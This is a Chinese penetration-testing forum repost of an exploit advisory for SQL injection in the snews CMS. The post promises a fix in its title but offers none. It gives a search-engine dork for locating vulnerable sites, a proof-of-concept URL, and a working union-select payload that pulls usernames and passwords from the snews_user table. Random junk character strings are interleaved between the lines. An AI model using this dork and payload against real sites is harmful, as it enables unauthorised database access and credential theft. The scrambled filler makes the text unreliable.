中国网络渗透测试联盟
标题:
CMS snews SQL注射及修复
[打印本页]
作者:
admin
时间:
2013-1-23 08:55
标题:
CMS snews SQL注射及修复
标题: CMS snews SQL Injection Vulnerability
+ l3 \* K9 Z0 a# A
作者: By onestree
R7 s q* P6 `2 q, M6 m6 n
下载地址 :
http://snewscms.com/
6 b# T8 C4 M- v A5 O6 F9 y% d+ H
测试平台 : ubuntu 12.10 / win 7
9 |" V6 P8 I& x8 Q# s
关键词: inurl:"tanyakan pada rumput yang bergoyang"
2 I: V: f. d3 X6 r* O9 X
" r4 F7 F) D. W$ D' i7 b
0 T6 O+ h# f8 C. ^" ]2 V1 K
*************************************************************
% l7 l& m0 n: I2 [1 P: L1 y6 G7 L
4 {8 s4 `; k- K3 g# N
SQL poc:
R% t% o# Q( x9 d9 \
- s5 S! q c( `6 g- E4 h) U
http://www.2cto.com
/snews/snews.php?act=shownews&id=[SQL]
% ~$ S2 S+ n4 _' }1 s+ Y& Y$ Y- Y
0 P! j/ P N# y3 w* \$ P; g
示例
5 T# D7 s8 @* `: N& P
1 r, N% \( k5 H3 U' x( e6 z
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
" }+ `2 N! ]" j. W
: _0 g1 g3 e- ~1 O; A$ z" Y/ Q3 j
8 o8 y* ?0 \1 l1 B! g) _
致谢:
9 o `( B1 I+ T" j9 t3 o( r
* c- F8 V* V; j
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
7 ^0 J2 {2 C2 v& {4 r
& ]5 p. B& V7 c6 A% C' y( p) i
indonesiancoder - moeslimh4x0r - go-coder
/ k* F5 _1 e& b0 V
% X8 i$ L( \3 I/ z( |) G* K
spesial my hunny :*
5 @8 \( Y% ]* o" Q4 T' E
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2